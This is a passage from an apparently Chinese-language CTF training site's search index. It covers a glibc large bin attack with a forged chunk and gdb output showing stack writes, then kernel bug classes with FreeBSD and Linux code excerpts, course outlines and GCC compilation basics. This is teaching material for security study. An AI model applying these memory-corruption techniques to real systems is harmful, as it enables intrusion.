/* place chunk in bin */\n\n if (in_smallbin_range (size))\n {\n [ ... ]\n }\n else\n {\n victim_index = largebin_index (size);\n bck = bin_at (av, victim_index);\n fwd = bck->fd;\n\n /* maintain large bins in sorted order */\n if (fwd != bck)\n {\n /* Or with inuse bit to speed comparisons */\n size |= PREV_INUSE;\n /* if smaller than smallest, bypass loop below */\n assert ((bck->bk->size & NON_MAIN_ARENA) == 0);\n if ((unsigned long) (size) < (unsigned long) (bck->bk->size))\n {\n [ ... ]\n }\n else\n {\n assert ((fwd->size & NON_MAIN_ARENA) == 0);\n while ((unsigned long) size < fwd->size)\n {\n [ ... ]\n }\n\n if ((unsigned long) size == (unsigned long) fwd->size)\n [ ... ]\n else\n {\n victim->fd_nextsize = fwd;\n victim->bk_nextsize = fwd->bk_nextsize;\n fwd->bk_nextsize = victim;\n victim->bk_nextsize->fd_nextsize = victim;\n }\n bck = fwd->bk;\n }\n }\n else\n [ ... ]\n }\n\n mark_bin (av, victim_index);\n victim->bk = bck;\n victim->fd = fwd;\n fwd->bk = victim;\n bck->fd = victim;\n
\u5047\u8bbe\u6211\u4eec\u6709\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u5bf9 large bin \u91cc\u7684 chunk p2 \u8fdb\u884c\u4fee\u6539\uff0c\u7ed3\u5408\u4e0a\u9762\u7684\u6574\u7406\u8fc7\u7a0b\uff0c\u6211\u4eec\u4f2a\u9020 p2 \u5982\u4e0b\uff1a
gef\u27a4 x/8gx p2-2\n0x555555757130: 0x0000000000000000 0x00000000000003f1 <-- fake p2 [be freed]\n0x555555757140: 0x0000000000000000 0x00007fffffffde60 <-- bk\n0x555555757150: 0x0000000000000000 0x00007fffffffde58 <-- bk_nextsize\n0x555555757160: 0x0000000000000000 0x0000000000000000\n
\u540c\u6837\u7684\uff0c\u91ca\u653e p3\uff0c\u5c06\u5176\u653e\u5165 unsorted bin\uff0c\u7d27\u63a5\u7740\u8fdb\u884c malloc \u64cd\u4f5c\uff0c\u5c06 p3 \u6574\u7406\u56de large bin\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u4e2d\u5224\u65ad\u6761\u4ef6 (unsigned long) (size) < (unsigned long) (bck->bk->size)
\u4e3a\u5047\uff0c\u7a0b\u5e8f\u5c06\u8fdb\u5165 else \u5206\u652f\uff0c\u5176\u4e2d fwd
\u662f fake p2\uff0cvictim
\u662f p3\uff0c\u63a5\u7740 bck
\u88ab\u8d4b\u503c\u4e3a (&stack_var1 - 2)\u3002
\u5728 p3 \u88ab\u653e\u56de large bin \u5e76\u6392\u5e8f\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u4f4d\u4e8e\u6808\u4e0a\u7684\u4e24\u4e2a\u53d8\u91cf\u4e5f\u88ab\u4fee\u6539\u6210\u4e86 victim
\uff0c\u5bf9\u5e94\u7684\u8bed\u53e5\u5206\u522b\u662f bck->fd = victim;
\u548c ictim->bk_nextsize->fd_nextsize = victim;
\u3002
gef\u27a4 x/2gx &stack_var1 \n0x7fffffffde70: 0x0000555555757560 0x0000555555757560\ngef\u27a4 x/8gx p2-2\n0x555555757130: 0x0000000000000000 0x00000000000003f1\n0x555555757140: 0x0000000000000000 0x0000555555757560\n0x555555757150: 0x0000000000000000 0x0000555555757560\n0x555555757160: 0x0000000000000000 0x0000000000000000\ngef\u27a4 x/8gx p3-2\n0x555555757560: 0x0000000000000000 0x0000000000000411\n0x555555757570: 0x0000555555757130 0x00007fffffffde60\n0x555555757580: 0x0000555555757130 0x00007fffffffde58\n0x555555757590: 0x0000000000000000 0x0000000000000000\n
\u8003\u8651 libc-2.26 \u4e0a\u7684\u60c5\u51b5\uff0c\u8fd8\u662f\u4e00\u6837\u7684\uff0c\u5904\u7406\u597d tchache \u5c31\u53ef\u4ee5\u4e86\uff0c\u5728 free \u4e4b\u524d\u628a\u4e24\u79cd\u5927\u5c0f\u7684 tcache bin \u90fd\u5360\u6ee1\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#3111-linux","title":"3.1.11 Linux \u5185\u6838\u6f0f\u6d1e\u5229\u7528","text":"\u8fd9\u7c7b\u6f0f\u6d1e\u6db5\u76d6\u4e86\u6240\u6709\u4f7f\u7528\u6307\u9488\u7684\u60c5\u51b5\uff0c\u6240\u6307\u5185\u5bb9\u906d\u5230\u7834\u574f\u3001\u6ca1\u6709\u88ab\u6b63\u786e\u8bbe\u7f6e\u3001\u6216\u8005\u662f\u6ca1\u6709\u505a\u8db3\u591f\u7684\u9a8c\u8bc1\u3002
\u6211\u4eec\u77e5\u9053\u4e00\u4e2a\u9759\u6001\u58f0\u660e\u7684\u6307\u9488\u88ab\u521d\u59cb\u5316\u4e3a NULL\uff0c\u4f46\u5176\u4ed6\u60c5\u51b5\u4e0b\u8fd9\u4e9b\u6307\u9488\u88ab\u660e\u786e\u5730\u8d4b\u503c\u4e4b\u524d\uff0c\u90fd\u662f\u672a\u521d\u59cb\u5316\u7684\uff0c\u5b83\u7684\u503c\u662f\u5b58\u653e\u6307\u9488\u5904\u7684\u5185\u5b58\u91cc\u7684\u4efb\u610f\u5185\u5bb9\u3002\u4f8b\u5982\u4e0b\u9762\u8fd9\u6837\uff0c\u6307\u9488\u88ab\u5b58\u653e\u5728\u6808\u4e0a\uff0c\u800c\u5b83\u7684\u5185\u5bb9\u662f\u4e4b\u524d\u51fd\u6570\u7559\u5728\u6808\u4e0a\u7684 \"A\" \u5b57\u7b26\u4e32\uff1a
#include <stdio.h>\n#include <string.h>\n\nvoid big_stack_usage() {\n char big[0x100];\n memset(big, 'A', 0x100);\n printf(\"Big stack: %p ~ %p\\n\", big, big+0x100);\n}\n\nvoid ptr_un_initialized() {\n char *p;\n printf(\"Pointer value: %p => %p\\n\", &p, p);\n}\n\nint main() {\n big_stack_usage();\n ptr_un_initialized();\n}\n$ gcc -fno-stack-protector pointer.c\n$ ./a.out\nBig stack: 0x7fffd6b0e400 ~ 0x7fffd6b0e500\nPointer value: 0x7fffd6b0e4f8 => 0x4141414141414141\n
\u4e0b\u9762\u770b\u4e00\u4e2a\u771f\u5b9e\u7684\u4f8b\u5b50\uff0c\u6765\u81ea FreeBSD8.0\uff1a
struct ucred ucred, *ucp; // [1]\n[...]\n refcount_init(&ucred.cr_ref, 1);\n ucred.cr_uid = ip->i_uid;\n ucred.cr_ngroups = 1;\n ucred.cr_groups[0] = dp->i_gid; // [2]\n ucp = &ucred;\n
[1] \u5904\u7684 ucred
\u5728\u6808\u4e0a\u8fdb\u884c\u4e86\u58f0\u660e\uff0c\u7136\u540e cr_groups[0]
\u88ab\u8d4b\u503c\u4e3a dp->i_gid
\u3002\u9057\u61be\u7684\u662f\uff0cstruct ucred
\u7ed3\u6784\u4f53\u7684\u5b9a\u4e49\u662f\u8fd9\u6837\u7684\uff1a
struct ucred {\n u_int cr_ref; /* reference count */\n[...]\n gid_t *cr_groups; /* groups */\n int cr_agroups; /* Available groups */\n};\n
\u6211\u4eec\u770b\u5230 cr_groups
\u662f\u4e00\u4e2a\u6307\u9488\uff0c\u800c\u4e14\u6ca1\u6709\u88ab\u521d\u59cb\u5316\u5c31\u76f4\u63a5\u4f7f\u7528\u3002\u8fd9\u4e5f\u5c31\u610f\u5473\u7740\uff0cdp->i_gid
\u7684\u503c\u5728 ucred
\u88ab\u5206\u914d\u65f6\u88ab\u5199\u5165\u5230\u6808\u4e0a\u7684\u4efb\u610f\u5730\u5740\u3002
\u7ee7\u7eed\u770b\u672a\u7ecf\u9a8c\u8bc1\u7684\u6307\u9488\uff0c\u8fd9\u5f80\u5f80\u53d1\u751f\u5728\u591a\u7528\u6237\u7684\u5185\u6838\u5730\u5740\u7a7a\u95f4\u4e2d\u3002\u6211\u4eec\u77e5\u9053\u5185\u6838\u7a7a\u95f4\u4f4d\u4e8e\u7528\u6237\u7a7a\u95f4\u7684\u4e0a\u9762\uff0c\u5b83\u7684\u9875\u8868\u5728\u6240\u6709\u8fdb\u7a0b\u7684\u9875\u8868\u4e2d\u90fd\u6709\u5907\u4efd\u3002\u6709\u4e9b\u865a\u62df\u5730\u5740\u88ab\u9009\u505a\u9650\u5236\u5730\u5740\uff0c\u9650\u5b9a\u5730\u5740\u4ee5\u4e0a\u6216\u4ee5\u4e0b\u7684\u865a\u62df\u5730\u5740\u5f52\u5185\u6838\u4f7f\u7528\uff0c\u800c\u5176\u4ed6\u7684\u5f52\u7528\u6237\u7a7a\u95f4\u4f7f\u7528\u3002\u5185\u6838\u51fd\u6570\u4e5f\u5c31\u662f\u4f7f\u7528\u8fd9\u4e2a\u9650\u5b9a\u5730\u5740\u6765\u5224\u65ad\u4e00\u4e2a\u6307\u9488\u6307\u5411\u7684\u662f\u5185\u6838\u8fd8\u662f\u7528\u6237\u7a7a\u95f4\u3002\u5982\u679c\u662f\u524d\u8005\uff0c\u5219\u53ef\u80fd\u53ea\u9700\u505a\u5c11\u91cf\u7684\u9a8c\u8bc1\uff0c\u4f46\u5982\u679c\u662f\u540e\u8005\uff0c\u5219\u8981\u683c\u5916\u5c0f\u5fc3\uff0c\u5426\u5219\u4e00\u4e2a\u7528\u6237\u7a7a\u95f4\u7684\u5730\u5740\u53ef\u80fd\u5728\u4e0d\u53d7\u63a7\u5236\u7684\u60c5\u51b5\u4e0b\u88ab\u89e3\u5f15\u7528\u3002
\u770b\u4e00\u4e2a Linux \u7684\u4f8b\u5b50\uff0cCVE-2008-0009\uff1a
error = get_user(base, &iov->iov_base); // [1]\n [...]\n if (unlikely(!base)) {\n error = -EFAULT;\n break;\n }\n [...]\n sd.u.userptr = base; // [2]\n [...]\n size = __splice_from_pipe(pipe, &sd, pipe_to_user);\n[...]\nstatic int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, struct splice_desc *sd)\n{\n if (!fault_in_pages_writeable(sd->u.userptr, sd->len)) {\n src = buf->ops->map(pipe, buf, 1);\n ret = __copy_to_user_inatomic(sd->u.userptr, src + buf->offset, sd->len); // [3]\n buf->ops->unmap(pipe, buf, src);\n[...]\n}\n
\u4ee3\u7801\u7684\u7b2c\u4e00\u90e8\u5206\u6765\u81ea\u51fd\u6570 vmsplice_to_user()
\uff0c\u5728 [1] \u5904\u4f7f\u7528\u4e86 get_user()
\u83b7\u5f97\u4e86\u76ee\u7684\u6307\u9488\u3002\u8be5\u76ee\u7684\u6307\u9488\u672a\u7ecf\u68c0\u67e5\u5c31\u9ed8\u8ba4\u5b83\u662f\u4e00\u4e2a\u7528\u6237\u5730\u5740\u6307\u9488\uff0c\u7136\u540e\u901a\u8fc7 [2] \u4f20\u9012\u7ed9\u4e86 __splice_from_pipe()
\uff0c\u540c\u65f6\u4f20\u9012\u51fd\u6570 pipe_to_user
\u4f5c\u4e3a helper function\u3002\u8fd9\u4e2a\u51fd\u6570\u4f9d\u7136\u662f\u672a\u7ecf\u68c0\u67e5\u5c31\u8c03\u7528\u4e86 __copy_to_user_inatomic()
[3]\uff0c\u5bf9\u8be5\u6307\u9488\u505a\u89e3\u5f15\u7528\u7684\u64cd\u4f5c\uff0c\u5982\u679c\u653b\u51fb\u8005\u4f20\u9012\u7684\u662f\u4e00\u4e2a\u5185\u6838\u5730\u5740\uff0c\u5219\u5229\u7528\u8be5\u6f0f\u6d1e\u80fd\u591f\u5199\u5165\u4efb\u610f\u6570\u636e\u5230\u4efb\u610f\u7684\u5185\u6838\u5185\u5b58\u4e2d\u3002\u8fd9\u91cc\u8981\u77e5\u9053\u7684\u8fd8\u6709 Linux \u4e2d\u4ee5\u4e24\u4e2a\u4e0b\u5212\u7ebf\u5f00\u5934\u7684\u51fd\u6570\uff08\u4f8b\u5982 __copy_to_user_inatomic()
\uff09\u662f\u4e0d\u4f1a\u5bf9\u6240\u63d0\u4f9b\u7684\u76ee\u7684\uff08\u6216\u6e90\uff09\u7528\u6237\u6307\u9488\u505a\u4efb\u4f55\u68c0\u67e5\u7684\u3002
\u6700\u540e\uff0c\u4e00\u4e2a\u88ab\u635f\u574f\u7684\u6307\u9488\u5f80\u5f80\u662f\u5176\u4ed6\u6f0f\u6d1e\u7684\u7ed3\u679c\uff08\u4f8b\u5982\u7f13\u51b2\u533a\u6ea2\u51fa\uff09\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4efb\u610f\u4fee\u6539\u6307\u9488\u7684\u5185\u5bb9\uff0c\u83b7\u5f97\u66f4\u591a\u7684\u63a7\u5236\u6743\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#_28","title":"\u5185\u5b58\u7834\u574f\u6f0f\u6d1e","text":"\u8fd9\u7c7b\u6f0f\u6d1e\u662f\u7531\u4e8e\u7a0b\u5e8f\u7684\u9519\u8bef\u64cd\u4f5c\u91cd\u5199\u4e86\u5185\u6838\u7a7a\u95f4\u7684\u5185\u5b58\uff08\u5305\u62ec\u5185\u6838\u6808\u548c\u5185\u6838\u5806\uff09\u5bfc\u81f4\u7684\u3002
\u5185\u6838\u6808\u5728\u6bcf\u6b21\u8fdb\u7a0b\u8fdb\u5165\u5230\u5185\u6838\u6001\u65f6\u53d1\u6325\u4f5c\u7528\u3002\u5185\u6838\u6808\u4e0e\u7528\u6237\u6808\u57fa\u672c\u76f8\u540c\uff0c\u4f46\u4e5f\u6709\u4e00\u4e9b\u7ec6\u5c0f\u7684\u5dee\u522b\uff0c\u4f8b\u5982\u5b83\u7684\u5927\u5c0f\u901a\u5e38\u662f\u53d7\u9650\u5236\u7684\u3002\u53e6\u5916\uff0c\u6240\u6709\u8fdb\u7a0b\u7684\u5185\u6838\u6808\u90fd\u662f\u4e00\u5757\u76f8\u540c\u7684\u5185\u6838\u5730\u5740\u7a7a\u95f4\u4e2d\u7684\u4e00\u90e8\u5206\uff0c\u6240\u4ee5\u4ed6\u4eec\u5f00\u59cb\u4e8e\u4e0d\u540c\u7684\u865a\u62df\u5730\u5740\u5e76\u4e14\u5360\u636e\u4e0d\u540c\u7684\u865a\u62df\u5730\u5740\u7a7a\u95f4\u3002
\u7531\u4e8e\u5185\u6838\u6808\u4e0e\u7528\u6237\u6808\u7684\u76f8\u4f3c\u6027\uff0c\u5176\u53d1\u751f\u6f0f\u6d1e\u7684\u5730\u65b9\u4e5f\u5927\u4f53\u76f8\u540c\uff0c\u4f8b\u5982\u4f7f\u7528\u4e0d\u5b89\u5168\u7684\u51fd\u6570\uff08strcpy()
, sprintf()
\u7b49\uff09\uff0c\u6570\u7ec4\u8d8a\u754c\uff0c\u7f13\u51b2\u533a\u6ea2\u51fa\u7b49\u3002
\u9488\u5bf9\u5185\u6838\u5806\u7684\u6f0f\u6d1e\u5f80\u5f80\u662f\u7f13\u51b2\u533a\u6ea2\u51fa\u9020\u6210\u7684\u3002\u901a\u8fc7\u6ea2\u51fa\uff0c\u91cd\u5199\u4e86\u6ea2\u51fa\u5757\u540e\u9762\u7684\u5757\uff0c\u6216\u8005\u91cd\u5199\u4e86\u7f13\u5b58\u76f8\u5173\u7684\u5143\u6570\u636e\uff0c\u90fd\u53ef\u80fd\u9020\u6210\u6f0f\u6d1e\u5229\u7528\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#_29","title":"\u6574\u6570\u8bef\u7528","text":"\u6574\u6570\u6ea2\u51fa\u548c\u7b26\u53f7\u8f6c\u6362\u9519\u8bef\u662f\u6700\u5e38\u89c1\u7684\u4e24\u79cd\u6574\u6570\u8bef\u7528\u6f0f\u6d1e\u3002\u8fd9\u7c7b\u6f0f\u6d1e\u5f80\u5f80\u4e0d\u5bb9\u6613\u5355\u72ec\u5229\u7528\uff0c\u4f46\u5b83\u53ef\u80fd\u4f1a\u5bfc\u81f4\u53e6\u5916\u7684\u4e00\u4e9b\u6f0f\u6d1e\uff08\u4f8b\u5982\u5185\u5b58\u6ea2\u51fa\uff09\u7684\u53d1\u751f\u3002
\u6574\u6570\u6ea2\u51fa\u53d1\u751f\u5728\u5c06\u4e00\u4e2a\u8d85\u51fa\u6574\u6570\u6570\u636e\u5b58\u50a8\u8303\u56f4\u7684\u6570\u8d4b\u503c\u7ed9\u4e00\u4e2a\u6574\u6570\u53d8\u91cf\u3002\u5728\u4e0d\u52a0\u63a7\u5236\u7684\u52a0\u6cd5\u548c\u4e58\u6cd5\u8fd0\u7b97\u4e2d\u5982\u679c\u5806\u53c2\u89c1\u8fd0\u7b97\u7684\u53c2\u6570\u4e0d\u52a0\u9a8c\u8bc1\uff0c\u4e5f\u6709\u53ef\u80fd\u53d1\u751f\u6574\u6570\u6ea2\u51fa\u3002
\u7b26\u53f7\u8f6c\u6362\u9519\u8bef\u53d1\u751f\u5728\u5c06\u4e00\u4e2a\u65e0\u7b26\u53f7\u6570\u5f53\u505a\u6709\u7b26\u53f7\u6570\u5904\u7406\u7684\u65f6\u5019\u3002\u4e00\u4e2a\u7ecf\u5178\u7684\u573a\u666f\u662f\uff0c\u4e00\u4e2a\u6709\u7b26\u53f7\u6570\u7ecf\u8fc7\u67d0\u4e2a\u6700\u5927\u503c\u68c0\u6d4b\u540e\u4f20\u5165\u4e00\u4e2a\u51fd\u6570\uff0c\u800c\u8fd9\u4e2a\u51fd\u6570\u53ea\u63a5\u6536\u65e0\u7b26\u53f7\u6570\u3002
\u770b\u4e00\u4e2a FreeBSD V6.0 \u7684\u4f8b\u5b50\uff1a
int fw_ioctl (struct cdev *dev, u_long cmd, caddr_t data, int flag, fw_proc *td)\n{\n[...]\n int s, i, len, err = 0; [1]\n [...]\n struct fw_crom_buf *crom_buf = (struct fw_crom_buf *)data; [2]\n [...]\n if (fwdev == NULL) {\n [...]\n len = CROMSIZE;\n [...]\n } else {\n [...]\n if (fwdev->rommax < CSRROMOFF)\n len = 0;\n else\n len = fwdev->rommax - CSRROMOFF + 4;\n }\n if (crom_buf->len < len) [3]\n len = crom_buf->len;\n else\n crom_buf->len = len;\n err = copyout(ptr, crom_buf->ptr, len); [4]\n}\n
[1] \u5904\u7684 len
\u662f\u6709\u7b26\u53f7\u6574\u6570\uff0ccrom_buf->len
\u4e5f\u662f\u6709\u7b26\u53f7\u6570\u5e76\u4e14\u8be5\u503c\u662f\u6211\u4eec\u53ef\u4ee5\u63a7\u5236\u7684\uff0c\u5982\u679c\u5b83\u88ab\u8bbe\u4e3a\u4e00\u4e2a\u8d1f\u6570\uff0c\u90a3\u4e48\u65e0\u8bba len
\u7684\u503c\u662f\u4ec0\u4e48\uff0c[3] \u5904\u7684\u6761\u4ef6\u90fd\u4f1a\u6ee1\u8db3\u3002\u7136\u540e\u5728 [4] \u5904\uff0ccopyout()
\u88ab\u8c03\u7528\uff0c\u8be5\u51fd\u6570\u539f\u578b\u5982\u4e0b\uff1a
int copyout(const void *__restrict kaddr, void *__restrict udaddr, size_t len) __nonnull(1) __nonnull(2);\n
\u7b2c\u4e09\u4e2a\u53c2\u6570\u7684\u7c7b\u578b size_t
\u662f\u4e00\u4e2a\u65e0\u7b26\u53f7\u6574\u6570\uff0c\u6240\u4ee5\u5f53 len
\u662f\u4e00\u4e2a\u8d1f\u6570\u7684\u65f6\u5019\uff0c\u4f1a\u88ab\u8ba4\u4e3a\u662f\u4e00\u4e2a\u5f88\u5927\u7684\u6b63\u6574\u6570\uff0c\u9020\u6210\u4efb\u610f\u5185\u6838\u5185\u5b58\u8bfb\u53d6\u3002
\u66f4\u591a\u5185\u5b58\u53ef\u4ee5\u53c2\u89c1\u7ae0\u8282 3.1.2\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#_30","title":"\u7ade\u6001\u6761\u4ef6","text":"\u5982\u679c\u6709\u4e24\u4e2a\u6216\u4e24\u4e2a\u4ee5\u4e0a\u6267\u884c\u8005\u5c06\u8981\u6267\u884c\u67d0\u4e00\u52a8\u4f5c\u5e76\u4e14\u6267\u884c\u7ed3\u679c\u4f1a\u7531\u4e8e\u5b83\u4eec\u6267\u884c\u987a\u5e8f\u7684\u4e0d\u540c\u800c\u5b8c\u5168\u4e0d\u540c\u65f6\uff0c\u4e5f\u5c31\u662f\u53d1\u751f\u4e86\u7ade\u4e89\u6761\u4ef6\u3002\u907f\u514d\u7ade\u4e89\u6761\u4ef6\u7684\u65b9\u6cd5\u6709\u5f88\u591a\uff0c\u4f8b\u5982\u901a\u8fc7\u9501\u3001\u4fe1\u53f7\u91cf\u3001\u6761\u4ef6\u53d8\u91cf\u7b49\u6765\u4fdd\u8bc1\u5404\u79cd\u884c\u52a8\u8005\u4e4b\u95f4\u7684\u540c\u6b65\u6027\u3002\u7ade\u4e89\u6761\u4ef6\u4e2d\u6700\u91cd\u8981\u7684\u4e00\u70b9\u662f\u53ef\u7ade\u4e89\u7a97\u53e3\u7684\u5927\u5c0f\uff0c\u5b83\u5bf9\u4e8e\u89e6\u53d1\u7ade\u6001\u6761\u4ef6\u7684\u96be\u6613\u81f3\u5173\u91cd\u8981\uff0c\u7531\u4e8e\u8fd9\u4e2a\u539f\u56e0\uff0c\u4e00\u4e9b\u7ade\u6001\u6761\u4ef6\u7684\u60c5\u51b5\u53ea\u80fd\u5728\u5bf9\u79f0\u591a\u5904\u7406\u5668\uff08SMP\uff09\u4e2d\u88ab\u5229\u7528\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#bug","title":"\u903b\u8f91 bug","text":"\u903b\u8f91 bug \u6709\u5f88\u591a\u79cd\uff0c\u4e0b\u9762\u4ecb\u7ecd\u4e00\u4e2a\u5f15\u7528\u8ba1\u6570\u5668\u6ea2\u51fa\u3002\u6211\u4eec\u77e5\u9053\u5171\u4eab\u8d44\u6e90\u90fd\u6709\u4e00\u4e2a\u5f15\u7528\u8ba1\u6570\uff0c\u5e76\u5728\u8ba1\u6570\u4e3a\u96f6\u65f6\u91ca\u653e\u6389\u8d44\u6e90\uff0c\u4fdd\u6301\u8db3\u591f\u7684\u5185\u5b58\u7a7a\u95f4\u3002\u64cd\u4f5c\u7cfb\u7edf\u5f80\u5f80\u63d0\u4f9b get \u548c put/drop \u8fd9\u6837\u7684\u51fd\u6570\u6765\u663e\u5f0f\u5730\u589e\u52a0\u548c\u51cf\u5c11\u5f15\u7528\u8ba1\u6570\u3002
\u770b\u4e00\u4e2a FreeBSD V5.0 \u7684\u4f8b\u5b50\uff1a
int fpathconf(td, uap)\n struct thread *td;\n register struct fpathconf_args *uap;\n{\n struct file *fp;\n struct vnode *vp;\n int error;\n if ((error = fget(td, uap->fd, &fp)) != 0) [1]\n return (error);\n[...]\n switch (fp->f_type) {\n case DTYPE_PIPE:\n case DTYPE_SOCKET:\n if (uap->name != _PC_PIPE_BUF)\n return (EINVAL); [2]\n p->p_retval[0] = PIPE_BUF;\n error = 0;\n break;\n[...]\nout:\n fdrop(fp, td); [3]\n return (error);\n}\n
fpathconf()
\u7cfb\u7edf\u8c03\u7528\u7528\u4e8e\u83b7\u53d6\u4e00\u4e2a\u7279\u5b9a\u7684\u5f00\u653e\u7684\u6587\u4ef6\u63cf\u8ff0\u7b26\u4fe1\u606f\u3002\u6240\u4ee5\u8be5\u8c03\u7528\u5f00\u5934 [1] \u5904\u901a\u8fc7 fget()
\u83b7\u53d6\u8be5\u6587\u4ef6\u63cf\u8ff0\u7b26\u7ed3\u6784\u7684\u5f15\u7528\uff0c\u7136\u540e\u5728\u9000\u51fa\u7684\u65f6\u5019 [3] \u5904\u901a\u8fc7 fdrop()
\u91ca\u653e\u8be5\u5f15\u7528\u3002\u7136\u800c\u5728 [2] \u5904\u7684\u4ee3\u7801\u6ca1\u6709\u91ca\u653e\u76f8\u5173\u7684\u5f15\u7528\u8ba1\u6570\u5c31\u76f4\u63a5\u8fd4\u56de\u4e86\u3002\u5982\u679c\u591a\u6b21\u8c03\u7528 fpathconf()
\u5e76\u89e6\u53d1 [2] \u5904\u7684\u8fd4\u56de\uff0c\u5219\u6709\u53ef\u80fd\u5bfc\u81f4\u5f15\u7528\u8ba1\u6570\u5668\u7684\u6ea2\u51fa\u3002
Asymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography.
Several cryptography methods are illustrated in this course, while you would learn how to perform cryptography attacks. Remember the key point: do not create a cryptography model without mathematics proof.
"},{"location":"Training/Material/Cryptography/#material","title":"Material","text":"Introduction to Modern Cryptography: Principles and Protocols
\u65b0\u7248\u6697\u53f7\u6280\u8853\u5165\u9580: \u79d8\u5bc6\u306e\u56fd\u306e\u30a2\u30ea\u30b9
Cryptography.pptx
"},{"location":"Training/Material/Network/","title":"Computer Network","text":""},{"location":"Training/Material/Network/#introduction","title":"Introduction","text":"About computer network, how Internet works and basic protocols about computer network.
Computer network is the basic course for Web challenges. Learning about Computer Network and learn about networking protocols, vulnerabilities, and key ideas of network traffic.
"},{"location":"Training/Material/Network/#material","title":"Material","text":"Computer Networking: A Top-Down Approach
(Optional) TCP / IP Illustrated Volume 1, 2, 3
"},{"location":"Training/Material/Network/#component","title":"Component","text":"Computer Network.pptx
"},{"location":"Training/Material/OS/","title":"Operating Systems","text":""},{"location":"Training/Material/OS/#introduction","title":"Introduction","text":"Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure.
"},{"location":"Training/Material/OS/#material","title":"Material","text":"Computer Systems: A Programmer's Perspective
"},{"location":"Training/Material/OS/#component","title":"Component","text":"Operating Systems.pptx
"},{"location":"Training/Material/Penetration/","title":"Penetration Testing","text":""},{"location":"Training/Material/Penetration/#introduction","title":"Introduction","text":"From CTF challenges to the penetration testing and hacking a real system. Learn about how to carry out a real attack to the computer systems.
Aim in AWD (Attack & Defense) CTF and learn how to penetration testing.
"},{"location":"Training/Material/Penetration/#material","title":"Material","text":"The Hacker Playbook
"},{"location":"Training/Material/Penetration/#component","title":"Component","text":"Penetration.pptx
"},{"location":"Training/Material/Reverse/","title":"\u9006\u5411\u5de5\u7a0b\u4e0e\u6c47\u7f16\u8bed\u8a00","text":""},{"location":"Training/Material/Reverse/#c","title":"C \u8bed\u8a00\u57fa\u7840","text":"\u6211\u4eec\u4ee5\u7ecf\u5178\u8457\u4f5c\u300aThe C Programming Language\u300b\u4e2d\u7684\u7b2c\u4e00\u4e2a\u7a0b\u5e8f \u201cHello World\u201d \u4e3a\u4f8b\uff0c\u8bb2\u89e3 Linux \u4e0b GCC \u7684\u7f16\u8bd1\u8fc7\u7a0b\u3002
#include <stdio.h>\nmain()\n{\n printf(\"hello, world\\n\");\n}\n$gcc hello.c\n$./a.out\nhello world\n
\u4ee5\u4e0a\u8fc7\u7a0b\u53ef\u5206\u4e3a4\u4e2a\u6b65\u9aa4\uff1a\u9884\u5904\u7406\uff08Preprocessing\uff09\u3001\u7f16\u8bd1\uff08Compilation\uff09\u3001\u6c47\u7f16\uff08Assembly\uff09\u548c\u94fe\u63a5\uff08Linking\uff09\u3002
"},{"location":"Training/Material/Reverse/#_3","title":"\u9884\u7f16\u8bd1","text":"gcc -E hello.c -o hello.i\n# 1 \"hello.c\"\n# 1 \"<built-in>\"\n# 1 \"<command-line>\"\n......\nextern int printf (const char *__restrict __format, ...);\n......\nmain() {\n printf(\"hello, world\\n\");\n}\n
\u9884\u7f16\u8bd1\u8fc7\u7a0b\u4e3b\u8981\u5904\u7406\u6e90\u4ee3\u7801\u4e2d\u4ee5 \u201c#\u201d \u5f00\u59cb\u7684\u9884\u7f16\u8bd1\u6307\u4ee4\uff1a
gcc -S hello.c -o hello.s\n .file \"hello.c\"\n .section .rodata\n.LC0:\n .string \"hello, world\"\n .text\n .globl main\n .type main, @function\nmain:\n.LFB0:\n .cfi_startproc\n pushq %rbp\n .cfi_def_cfa_offset 16\n .cfi_offset 6, -16\n movq %rsp, %rbp\n .cfi_def_cfa_register 6\n leaq .LC0(%rip), %rdi\n call puts@PLT\n movl $0, %eax\n popq %rbp\n .cfi_def_cfa 7, 8\n ret\n .cfi_endproc\n.LFE0:\n .size main, .-main\n .ident \"GCC: (GNU) 7.2.0\"\n .section .note.GNU-stack,\"\",@progbits\n
\u7f16\u8bd1\u8fc7\u7a0b\u5c31\u662f\u628a\u9884\u5904\u7406\u5b8c\u7684\u6587\u4ef6\u8fdb\u884c\u4e00\u7cfb\u5217\u8bcd\u6cd5\u5206\u6790\u3001\u8bed\u6cd5\u5206\u6790\u3001\u8bed\u4e49\u5206\u6790\u53ca\u4f18\u5316\u540e\u751f\u6210\u76f8\u5e94\u7684\u6c47\u7f16\u4ee3\u7801\u6587\u4ef6\u3002
"},{"location":"Training/Material/Reverse/#_5","title":"\u6c47\u7f16","text":"$ gcc -c hello.s -o hello.o\n\u6216\u8005\n$gcc -c hello.c -o hello.o\n$ objdump -sd hello.o\n\nhello.o: file format elf64-x86-64\n\nContents of section .text:\n 0000 554889e5 488d3d00 000000e8 00000000 UH..H.=.........\n 0010 b8000000 005dc3 .....].\nContents of section .rodata:\n 0000 68656c6c 6f2c2077 6f726c64 00 hello, world.\nContents of section .comment:\n 0000 00474343 3a202847 4e552920 372e322e .GCC: (GNU) 7.2.\n 0010 3000 0.\nContents of section .eh_frame:\n 0000 14000000 00000000 017a5200 01781001 .........zR..x..\n 0010 1b0c0708 90010000 1c000000 1c000000 ................\n 0020 00000000 17000000 00410e10 8602430d .........A....C.\n 0030 06520c07 08000000 .R......\n\nDisassembly of section .text:\n\n0000000000000000 <main>:\n 0: 55 push %rbp\n 1: 48 89 e5 mov %rsp,%rbp\n 4: 48 8d 3d 00 00 00 00 lea 0x0(%rip),%rdi # b <main+0xb>\n b: e8 00 00 00 00 callq 10 <main+0x10>\n 10: b8 00 00 00 00 mov $0x0,%eax\n 15: 5d pop %rbp\n 16: c3 retq\n
\u6c47\u7f16\u5668\u5c06\u6c47\u7f16\u4ee3\u7801\u8f6c\u53d8\u6210\u673a\u5668\u53ef\u4ee5\u6267\u884c\u7684\u6307\u4ee4\u3002
